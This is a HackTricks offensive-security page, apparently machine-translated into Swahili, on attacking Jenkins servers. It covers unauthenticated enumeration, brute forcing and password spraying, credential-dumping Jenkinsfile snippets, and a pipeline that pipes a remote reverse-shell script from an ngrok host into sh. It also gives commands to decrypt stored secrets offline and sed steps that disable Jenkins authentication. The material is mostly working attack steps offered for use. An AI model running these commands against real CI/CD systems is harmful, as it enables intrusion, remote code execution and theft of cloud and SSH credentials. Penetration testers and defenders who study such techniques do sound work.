Jenkins Security

Reading time: 13 minutes

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

Basic Information

Jenkins ni chombo kinachotoa njia rahisi ya kuanzisha continuous integration au continuous delivery (CI/CD) mazingira kwa karibu yoyote mchanganyiko wa programming languages na hazina za msimbo wa chanzo kwa kutumia pipelines. Aidha, inafanya kazi mbalimbali za kawaida za maendeleo kiotomatiki. Ingawa Jenkins haiondoi hitaji la kuunda scripts kwa hatua za kibinafsi, inatoa njia ya haraka na yenye nguvu zaidi ya kuunganisha mfululizo mzima wa zana za kujenga, kujaribu, na kutekeleza kuliko mtu anavyoweza kujenga kwa urahisi kwa mikono.

Basic Jenkins Information

Unauthenticated Enumeration

Ili kutafuta kurasa za kuvutia za Jenkins bila uthibitisho kama (/people au /asynchPeople, hii inataja watumiaji wa sasa) unaweza kutumia:

msf> use auxiliary/scanner/http/jenkins_enum

Angalia kama unaweza kutekeleza amri bila kuhitaji uthibitisho:

msf> use auxiliary/scanner/http/jenkins_command

Bila kuwa na akidi unaweza kuangalia ndani ya /asynchPeople/ au /securityRealm/user/admin/search/index?q= kwa majina ya watumiaji.

Unaweza kupata toleo la Jenkins kutoka kwenye njia /oops au /error.

Uthibitisho wa Hatari

GitHub - gquere/pwn_jenkins: Notes about attacking Jenkins servers

Ingia

Katika taarifa za msingi unaweza kuangalia njia zote za kuingia ndani ya Jenkins:

Basic Jenkins Information

Jisajili

Utakuwa na uwezo wa kupata mifano ya Jenkins ambazo zinakuruhusu kuunda akaunti na kuingia ndani yake. Rahisi kama hiyo.

SSO Ingia

Pia ikiwa SSO ufunctionality/plugins zilikuwepo basi unapaswa kujaribu kuingia kwenye programu kwa kutumia akaunti ya majaribio (yaani, akaunti ya majaribio ya Github/Bitbucket). Njia kutoka hapa.

Bruteforce

Jenkins haina sera ya nywila na kinga ya kujaribu nywila za majina ya watumiaji. Ni muhimu kujaribu kwa nguvu watumiaji kwani nywila dhaifu au majina ya watumiaji kama nywila yanaweza kutumika, hata majina ya watumiaji yaliyogeuzwa kuwa nywila.

msf> use auxiliary/scanner/http/jenkins_login

Password spraying

Tumia hii script ya python au hii script ya powershell.

IP Whitelisting Bypass

Mashirika mengi yanachanganya mifumo ya usimamizi wa chanzo cha SaaS kama GitHub au GitLab na ufumbuzi wa CI wa ndani, wa kujihifadhi kama Jenkins au TeamCity. Mpangilio huu unaruhusu mifumo ya CI kupokea matukio ya webhook kutoka kwa wauzaji wa chanzo cha SaaS, hasa kwa ajili ya kuanzisha kazi za pipeline.

Ili kufanikisha hili, mashirika yanapitia mipango ya IP ya mifumo ya SCM, ikiruhusu kufikia mfumo wa CI wa ndani kupitia webhooks. Hata hivyo, ni muhimu kutambua kwamba mtu yeyote anaweza kuunda akaunti kwenye GitHub au GitLab na kuikamilisha ili kuanzisha webhook, ambayo inaweza kutuma maombi kwa mfumo wa CI wa ndani.

Angalia: https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/

Internal Jenkins Abuses

Katika hali hizi tutadhani una akaunti halali ya kufikia Jenkins.

warning

Kulingana na mekanismu ya Uidhinishaji iliyowekwa katika Jenkins na ruhusa ya mtumiaji aliyeathirika, unaweza kuwa na uwezo au usiwe na uwezo wa kutekeleza mashambulizi yafuatayo.

Kwa maelezo zaidi angalia taarifa za msingi:

Basic Jenkins Information

Listing users

Ikiwa umefikia Jenkins unaweza orodhesha watumiaji wengine waliojiandikisha katika http://127.0.0.1:8080/asynchPeople/

Dumping builds to find cleartext secrets

Tumia hii script kutupa matokeo ya console ya ujenzi na mabadiliko ya mazingira ya ujenzi ili kut hope kupata siri za wazi.

bash
python3 jenkins_dump_builds.py -u alice -p alice http://127.0.0.1:8080/ -o build_dumps
cd build_dumps
gitleaks detect --no-git -v

Kuharibu Akiba za SSH

Ikiwa mtumiaji aliyeathirika ana mamlaka ya kutosha kuunda/kubadilisha node mpya ya Jenkins na akiba za SSH tayari zimehifadhiwa ili kufikia nodi nyingine, anaweza kuiba akiba hizo kwa kuunda/kubadilisha node na kuweka mwenyeji ambaye atarekodi akiba hizo bila kuthibitisha funguo za mwenyeji:

Kwa kawaida utapata akiba za ssh za Jenkins katika mtoa huduma wa kimataifa (/credentials/), hivyo unaweza pia kuzitupa kama unavyotupa siri nyingine yoyote. Taarifa zaidi katika Sehemu ya Kutupa siri.

RCE katika Jenkins

Kupata shell katika seva ya Jenkins inampa mshambuliaji fursa ya kuvuja siri zote na mabadiliko ya env na kufanya mashambulizi kwenye mashine nyingine zilizoko katika mtandao mmoja au hata kusanya akiba za wingu.

Kwa kawaida, Jenkins itakuwa inaendesha kama SYSTEM. Hivyo, kuathiriwa kwake kutampa mshambuliaji mamlaka ya SYSTEM.

RCE Kuunda/Kubadilisha mradi

Kuunda/Kubadilisha mradi ni njia ya kupata RCE juu ya seva ya Jenkins:

Jenkins RCE Creating/Modifying Project

RCE Kutekeleza script ya Groovy

Unaweza pia kupata RCE kwa kutekeleza script ya Groovy, ambayo inaweza kuwa ya siri zaidi kuliko kuunda mradi mpya:

Jenkins RCE with Groovy Script

RCE Kuunda/Kubadilisha Pipeline

Unaweza pia kupata RCE kwa kuunda/kubadilisha pipeline:

Jenkins RCE Creating/Modifying Pipeline

Ukatili wa Pipeline

Ili kutumia pipelines bado unahitaji kuwa na ufikiaji wa Jenkins.

Kujenga Pipelines

Pipelines zinaweza pia kutumika kama mekanismu ya kujenga katika miradi, katika kesi hiyo inaweza kuundwa faili ndani ya hazina ambayo itakuwa na sintaksia ya pipeline. Kwa kawaida /Jenkinsfile inatumika:

Pia inawezekana hifadhi faili za usanidi wa pipeline mahali pengine (katika hazina nyingine kwa mfano) kwa lengo la kutenganisha ufikiaji wa hazina na ufikiaji wa pipeline.

Ikiwa mshambuliaji ana ufikiaji wa kuandika juu ya faili hiyo atakuwa na uwezo wa kuyabadilisha na kuzindua pipeline bila hata kuwa na ufikiaji wa Jenkins.
Inawezekana kwamba mshambuliaji atahitaji kupita baadhi ya ulinzi wa tawi (kutegemea jukwaa na mamlaka za mtumiaji wanaweza kupitishwa au la).

Vichocheo vya kawaida vya kutekeleza pipeline ya kawaida ni:

  • Ombi la kuvuta kwenye tawi kuu (au labda kwenye matawi mengine)
  • Kusukuma kwenye tawi kuu (au labda kwenye matawi mengine)
  • Sasisha tawi kuu na kusubiri hadi itekelezwe kwa namna fulani

note

Ikiwa wewe ni mtumiaji wa nje huwezi kutarajia kuunda PR kwa tawi kuu la hazina ya mtumiaji/taasisi nyingine na kuzindua pipeline... lakini ikiwa ime pangwa vibaya unaweza kabisa kuathiri kampuni kwa kutumia hili.

RCE ya Pipeline

Katika sehemu ya awali ya RCE tayari ilionyeshwa mbinu ya kupata RCE kwa kubadilisha pipeline.

Kuangalia Mabadiliko ya env

Inawezekana kutangaza mabadiliko ya env ya maandiko wazi kwa pipeline nzima au kwa hatua maalum. Mabadiliko haya ya env hayapaswi kuwa na taarifa nyeti, lakini mshambuliaji anaweza kila wakati kuangalia usanidi wote wa pipeline/Jenkinsfiles:

bash
pipeline {
agent {label 'built-in'}
environment {
GENERIC_ENV_VAR = "Test pipeline ENV variables."
}

stages {
stage("Build") {
environment {
STAGE_ENV_VAR = "Test stage ENV variables."
}
steps {

Kutolewa kwa siri

Kwa maelezo kuhusu jinsi siri zinavyoshughulikiwa na Jenkins angalia taarifa za msingi:

Basic Jenkins Information

Akreditivu zinaweza kuwekwa kwa watoa huduma wa kimataifa (/credentials/) au kwa miradi maalum (/job/<project-name>/configure). Hivyo, ili kutoa siri zote unahitaji kushambulia angalau miradi yote ambayo ina siri na kutekeleza mipangilio ya kawaida/iliyoshambuliwa.

Kuna tatizo lingine, ili kupata siri ndani ya env ya mpangilio unahitaji kujua jina na aina ya siri. Kwa mfano, unajaribu kuchota usernamePassword siri kama string siri utapata kosa hili:

ERROR: Credentials 'flag2' is of type 'Username with password' where 'org.jenkinsci.plugins.plaincredentials.StringCredentials' was expected

Hapa kuna njia ya kupakia aina fulani za siri za kawaida:

bash
withCredentials([usernamePassword(credentialsId: 'flag2', usernameVariable: 'USERNAME', passwordVariable: 'PASS')]) {
sh '''
env #Search for USERNAME and PASS
'''
}

withCredentials([string(credentialsId: 'flag1', variable: 'SECRET')]) {
sh '''
env #Search for SECRET
'''
}

withCredentials([usernameColonPassword(credentialsId: 'mylogin', variable: 'USERPASS')]) {
sh '''
env # Search for USERPASS
'''
}

# You can also load multiple env variables at once
withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'),
string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
sh '''
env
'''
}

Mwisho wa ukurasa huu unaweza kupata aina zote za hati: https://www.jenkins.io/doc/pipeline/steps/credentials-binding/

warning

Njia bora ya kutoa siri zote kwa wakati mmoja ni kwa kuathiri mashine ya Jenkins (kufanya kazi na shell ya nyuma katika node iliyo ndani kwa mfano) na kisha kuvuja funguo kuu na siri zilizofichwa na kuzifungua bila mtandao.
Zaidi kuhusu jinsi ya kufanya hivi katika sehemu ya Nodes & Agents na katika sehemu ya Post Exploitation.

Vichocheo

Kutoka nyaraka: Maagizo ya triggers yanafafanua njia za kiotomatiki ambazo Pipeline inapaswa kuanzishwa tena. Kwa Pipelines ambazo zimeunganishwa na chanzo kama GitHub au BitBucket, triggers huenda zisihitajike kwani uunganisho wa msingi wa webhooks tayari utakuwepo. Vichocheo vilivyopo kwa sasa ni cron, pollSCM na upstream.

Mfano wa Cron:

bash
triggers { cron('H */4 * * 1-5') }

Angalia esempu nyingine katika hati.

Nodes & Agents

Jenkins instance inaweza kuwa na wakala tofauti wakifanya kazi kwenye mashine tofauti. Kutoka kwa mtazamo wa mshambuliaji, ufikiaji wa mashine tofauti unamaanisha akili tofauti za wingu za kuiba au ufikiaji tofauti wa mtandao ambao unaweza kutumika vibaya kuendeleza mashine nyingine.

Kwa maelezo zaidi angalia taarifa za msingi:

Basic Jenkins Information

Unaweza kuhesabu nodes zilizowekwa katika /computer/, kwa kawaida utapata **Built-In Node ** (ambayo ni node inayokimbia Jenkins) na labda zaidi:

Ni ya kuvutia sana kukiuka Built-In node kwa sababu ina taarifa nyeti za Jenkins.

Ili kuonyesha unataka kuendesha pipeline katika built-in Jenkins node unaweza kubainisha ndani ya pipeline usanidi ufuatao:

bash
pipeline {
agent {label 'built-in'}

Mfano kamili

Pipeline katika wakala maalum, na kichocheo cha cron, na mabadiliko ya pipeline na hatua, ikipakia mabadiliko 2 katika hatua na kutuma shell ya kinyume:

bash
pipeline {
agent {label 'built-in'}
triggers { cron('H */4 * * 1-5') }
environment {
GENERIC_ENV_VAR = "Test pipeline ENV variables."
}

stages {
stage("Build") {
environment {
STAGE_ENV_VAR = "Test stage ENV variables."
}
steps {
withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'),
string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
sh '''
curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh PASS
'''
}
}
}

post {
always {
cleanWs()
}
}
}

Kusoma Faili Bila Mpangilio hadi RCE

Jenkins Arbitrary File Read to RCE via "Remember Me"

RCE

Jenkins RCE with Groovy Script

Jenkins RCE Creating/Modifying Project

Jenkins RCE Creating/Modifying Pipeline

Baada ya Kutekeleza

Metasploit

msf> post/multi/gather/jenkins_gather

Jenkins Secrets

Unaweza kuorodhesha siri kwa kufikia /credentials/ ikiwa una ruhusa za kutosha. Kumbuka kwamba hii itataja tu siri zilizo ndani ya faili credentials.xml, lakini faili za usanidi wa kujenga zinaweza pia kuwa na siri zaidi.

Ikiwa unaweza kuona usanidi wa kila mradi, unaweza pia kuona huko majina ya siri (credentials) yanayotumika kufikia hifadhi na siri nyingine za mradi.

Kutoka Groovy

Jenkins Dumping Secrets from Groovy

Kutoka diski

Faili hizi zinahitajika ili kufichua siri za Jenkins:

  • secrets/master.key
  • secrets/hudson.util.Secret

Siri hizo kwa kawaida zinaweza kupatikana katika:

  • credentials.xml
  • jobs/.../build.xml
  • jobs/.../config.xml

Hapa kuna regex ya kuzipata:

bash
# Find the secrets
grep -re "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"
# Print only the filenames where the secrets are located
grep -lre "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"

# Secret example
credentials.xml: <secret>{AQAAABAAAAAwsSbQDNcKIRQMjEMYYJeSIxi2d3MHmsfW3d1Y52KMOmZ9tLYyOzTSvNoTXdvHpx/kkEbRZS9OYoqzGsIFXtg7cw==}</secret>

Fichua siri za Jenkins bila mtandao

Ikiwa umepata nenosiri muhimu ya kufichua siri, tumia hii script kufichua hizo siri.

bash
python3 jenkins_offline_decrypt.py master.key hudson.util.Secret cred.xml
06165DF2-C047-4402-8CAB-1C8EC526C115
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAt985Hbb8KfIImS6dZlVG6swiotCiIlg/P7aME9PvZNUgg2Iyf2FT

Fichua siri za Jenkins kutoka Groovy

bash
println(hudson.util.Secret.decrypt("{...}"))

Unda mtumiaji mpya wa admin

  1. Fikia faili la Jenkins config.xml katika /var/lib/jenkins/config.xml au C:\Program Files (x86)\Jenkis\
  2. Tafuta neno <useSecurity>true</useSecurity> na badilisha neno true kuwa false.
  3. sed -i -e 's/<useSecurity>true</<useSecurity>false</g' config.xml
  4. Restart seva ya Jenkins: service jenkins restart
  5. Sasa nenda kwenye lango la Jenkins tena na Jenkins haitakuuliza taarifa zozote za kuingia wakati huu. Tembelea "Manage Jenkins" kuweka nenosiri la msimamizi tena.
  6. Wezesha usalama tena kwa kubadilisha mipangilio kuwa <useSecurity>true</useSecurity> na restart Jenkins tena.

Marejeleo

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks